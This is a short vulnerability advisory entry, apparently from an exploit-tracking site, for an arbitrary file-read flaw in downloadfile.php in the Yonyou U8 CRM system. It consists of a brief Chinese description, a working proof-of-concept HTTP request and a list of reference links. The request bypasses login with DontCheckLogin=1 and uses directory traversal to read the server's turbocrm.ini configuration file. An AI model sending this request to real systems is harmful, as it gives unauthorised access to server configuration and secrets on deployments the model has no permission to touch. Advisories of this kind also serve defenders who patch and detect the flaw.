Description
用友U8CRM downloadfile.php存在文件读取漏洞，攻击者可利用此漏洞获取服务器敏感信息
用友U8CRM downloadfile 任意文件读取漏洞
PoC
GET /pub/downloadfile.php?DontCheckLogin=1&url=/datacache/../../../tsvr/turbocrm.ini HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://github.com/eeeeeeeeee-code/POC/blob/main/wpoc/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8BU8-CRM%E5%AE%A2%E6%88%B7%E5%85%B3%E7%B3%BB%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9Fdownloadfile.php%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
https://cn-sec.com/archives/2723777.html
https://www.cnblogs.com/pursue-security/p/17685217.html
https://juejin.cn/post/7317878585943228468
https://blog.csdn.net/WuYSec/article/details/139678928
https://www.ddpoc.com/poc/DVB-2023-4918.html
https://www.secevery.com/toBugInfo?id=1801481848279441410
https://peiqi.wgpsec.org/wiki/oa/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20U8%20CRM%E5%AE%A2%E6%88%B7%E5%85%B3%E7%B3%BB%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20getemaildata.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.html